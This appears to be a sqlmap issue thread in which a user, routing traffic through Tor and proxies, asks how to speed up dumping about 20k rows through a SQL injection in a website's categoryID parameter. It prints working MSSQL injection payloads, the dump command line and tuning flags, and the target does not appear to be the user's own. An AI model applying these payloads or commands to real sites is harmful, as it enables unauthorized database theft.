My problems is when I retrieved data from somewebsite.com/category.cfm?categoryID=999999.9 , it had about 20k data , every first data like about 50-100 first data was retrieved very fast like about 2 second/data , but after that it became 20-30s/ data . What should I do now ? Thanks
I used tor proxy , time-sec=5 , on Ubuntu
1) You haven't filled the Issue template
2) I don't know any detail on the SQLi techniques used
3) I don't know whether sqlmap asked you anything in between (e.g. WARNING about the ORDER BY)
4) I don't know the DBMS type
How to proceed????
sorry here :
[WARNING] it appears that you have provided tainted parameter values ('categoryID=999999.9') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[18:32:48] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:32:48] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('CFID=3151122;CFTOKEN=35804031'). Do you want to use those [Y/n] y
Parameter: categoryID (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace
Payload: categoryID=(SELECT (CASE WHEN (9538=9538) THEN 9538 ELSE 9538*(SELECT 9538 UNION ALL SELECT 9820) END))
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: categoryID=999999.9 AND 2747 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(112)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (2747=2747) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: categoryID=(SELECT CHAR(113)+CHAR(106)+CHAR(112)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1909=1909) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113))
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
[18:32:51] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2000
I just use sqlmap.py -u "web" -D a -T b - C c --dump
--technique E --threads 10
or
--technique U --threads 10 --force-partial
--technique U dump shit looks very slow is a normal thing?
when I use threads it seem like this website can't handle that and always return fail
then --threads 1...
maybe --null-connection?
you're using vpn or proxy (include tor) or other thing like that?...
i tried all vpn , tor and local proxy
i mean.. don't use them (if the target server is yours
You have a CloudFlare in between. I would say that you are lucky that anything works in the first place.
ah okay , but what is the different between technique E and U and default ? Thanks
As you have different techniques you can try:
1) --technique=U
2) --technique=E
3) --technique=Q
and see if one of those is faster than the other
i will suggest you to use --technique E
Sqlmap has already cooperated with Google. If you have any problems, you can google it first. 馃槅馃槈
ah okay , but what is the different between technique E and U and default ? Thanks
this~